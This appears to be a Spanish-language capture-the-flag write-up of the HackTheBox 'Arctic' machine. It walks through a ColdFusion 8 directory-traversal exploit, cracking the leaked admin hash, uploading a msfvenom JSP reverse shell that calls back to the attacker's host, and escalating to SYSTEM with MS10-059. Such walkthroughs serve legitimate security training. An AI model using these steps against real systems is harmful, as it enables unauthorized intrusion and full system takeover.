Posts Hackthebox Arctic Writeup (OSCP Style)
Post
Cancel

Hackthebox Arctic Writeup (OSCP Style)

 Información de la máquina.

ContenidoDescripción
OS:
Dificultad:Facil
Puntos:20
Lanzamiento:22/Marzo/2017
IP:10.10.10.11
Primera sangre de usuario:adxn37
Primera sangre de system:adxn37

Enumeración.

Como siempre comenzaremos con un escaneo a los 65535 puertos de la máquina para poder encontrar cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts arctic.htb -Pn --min-rate 3000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-27 15:47 CDT
Nmap scan report for arctic.htb (10.10.10.11)
Host is up (0.19s latency).
Not shown: 65532 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
8500/tcp  open  fmtp
49154/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 44.28 seconds

Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos descubiertos.

1
2
3
4
5
6
7
8
9
10
11
12
intrusionz3r0@kali:~$ nmap -sCV -p135,8500,49154 -oN targeted -Pn arctic.htb
Nmap scan report for arctic.htb (10.10.10.11)
Host is up (0.25s latency).

PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  fmtp?
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 27 15:40:44 2020 -- 1 IP address (1 host up) scanned in 140.89 seconds

El escaneo determino lo siguiente:

  • Puerto 135 con servicio msrpc.
  • Puerto 8500 con servicio no identificado correctamente.
  • Puerto 49154 con servicio msrpc.

Al no tener puertos comunes lo que suelo hacer yo es realizar una petición de tipo GET a cada uno de los puertos para ver si existe contenido.

Enumeración Puerto 8500.

El único que me respondió con un código de estado 200 fue el puerto 8500.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
intrusionz3r0@kali:~$  curl -v http://10.10.10.11:8500/
*   Trying 10.10.10.11:8500...
* TCP_NODELAY set
* Connected to 10.10.10.11 (10.10.10.11) port 8500 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.11:8500
> User-Agent: curl/7.68.0
> Accept: */*

* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Date: Sat, 29 Aug 2020 04:53:44 GMT
< Content-Type: text/html; charset=utf-8
< Connection: close
< Server: JRun Web Server
< 
<html>
<head>
<title>Index of /</title></head><body bgcolor="#ffffff">
<h1>Index of /</h1><br><hr><pre><a href="CFIDE/">CFIDE/</a>               <i>dir</i>   03/22/17 08:52 μμ
<a href="cfdocs/">cfdocs/</a>              <i>dir</i>   03/22/17 08:55 μμ
* Closing connection 0
</pre><hr></html> 

Rápidamente abro mi navegador y me dirijo al puerto para ver su contenido.

Encontramos dos directorios ire primero por CFIDE.

Aqui comienzo a enumerar cada uno de los archivos y directorios y el único interesante fue: administrator.

Entro y no encontramos con un panel de login que contine información sobre el nombre y la versión de la aplicación que se esta ejecutando.

Consejo: Siempre que encuentres la versión de una aplicación, software, gestor de contenido etc, revisa si esta asociada a alguna vulnerabilidad.

Explotación de LFI.

Vamos a realizar una búsqueda para ver si esta versión esta asociada a alguna vulnerabilidad critica.

Abro una terminal y ejecuto el siguiente comando:

1
intrusionz3r0@kali:~$ searchsploit coldfusion 8

Podemos observar que encontramos un exploit de recorrido de directorios(LFI) lo cual nos puede servir mucho para enumerar archivos dentro del servidor.

Ahora vamos a examinar el exploit.

1
intrusionz3r0@kali:~$ searchsploit -x multiple/remote/14641.py

El LFI que encontramos se acopla muy bien a la estructura que necesitamos para que el exploit tenga éxito.

Arctic: http://10.10.10.11:8500/CFIDE/administrator/

POC: http://server/CFIDE/administrator/

Realizo la petición con el LFI.

Y encontramos lo que parece ser un contraseña cifrada.

Password: 2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03

Abro la herramienta hash-identifier para averiguar el tipo de cifrado.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
intrusionz3r0@kali:~$ hash-identifier 
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03

Possible Hashs:
[+] SHA-1

Al parecer el tipo de cifrado es SHA-1 por lo que guardo el hash en un archivo y ejecuto john para decifrar la contraseña.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt --format=raw-sha1 hash  
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 SSE2 4x])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
happyday         (?)
1g 0:00:00:00 DONE (2020-08-27 16:27) 2.380g/s 12180p/s 12180c/s 12180C/s jodie..gabita
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed

¡¡Eureka!!

Contraseña: happyday.

Ahora intentare iniciar sesión en el login.

Shell como el usuario tolis.

Para este punto, nosotros debemos de enumerar la aplicación para ver si existen puntos explotables.

En este caso hay un apartado en la aplicación donde se nos permite subir archivos.

Este se encuentra en: DEBUGGING & LOGGING -> Scheduled Tasks.

Ahí nosotros podremos subir archivos pero el problema es que nosotros no sabemos que tipo de archivos es capaz de interpretar el ColdFusion.

Hago una búsqueda en Google y encuentro lo siguiente:

El lenguaje de programación en el que fue programado la plataforma es Java por lo que es muy probable de que acepte archivos JSP.

Para explotar la aplicación crearemos un payload con msfvenom.

1
2
intrusionz3r0@kali:~$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.20 LPORT=1234 -f raw > shell.jsp
Payload size: 1497 bytes

Levantamos un servidor con python que comparta nuestro payload y dejamos nuestro netcat a la escucha de cualquier conexión entrante.

Ahora solo creamos la tarea programable.

Ejecutamos la tarea y si nos vamos a la ruta /CFIDE encontraremos nuestro payload.

Por último solo damos clic y obtendremos una shell como el usuario tolis.

Post-Enumeración

Como siempre realizaremos una enumeración básica en Windows.

Ejecutando el comando systeminfo podemos observar de que nuevamente tenemos un Windows Server bastante antiguo por lo que es muy probable de que este este asociado a alguna vulnerabilidad.

Para poder encontrar el exploit indicado utilizare la siguiente herramienta: Windows-Exploit-Suggester.

Lo descargamos y exportamos la salida del comando systeminfo en nuestra máquina.

Después ejecutamos la herramienta.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
intrusionz3r0@kali:~$ sudo ./windows-exploit-suggester.py --database 2020-08-25-mssb.xls --systeminfo sysinfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
...
...
...
...
...
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
...
...
...

Nuevamente no sale el exploit MS10-059.

Shell como Administrador.

Descargamos el exploit: MS10-059.

Levantamos un servidor con samba y ejecutamos el exploit directamente desde mi servidor samba.

¡¡Somos nt authority\system!!

enter image description here

Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.

¡Muchas Gracias!

This post is licensed under CC BY 4.0 by the author.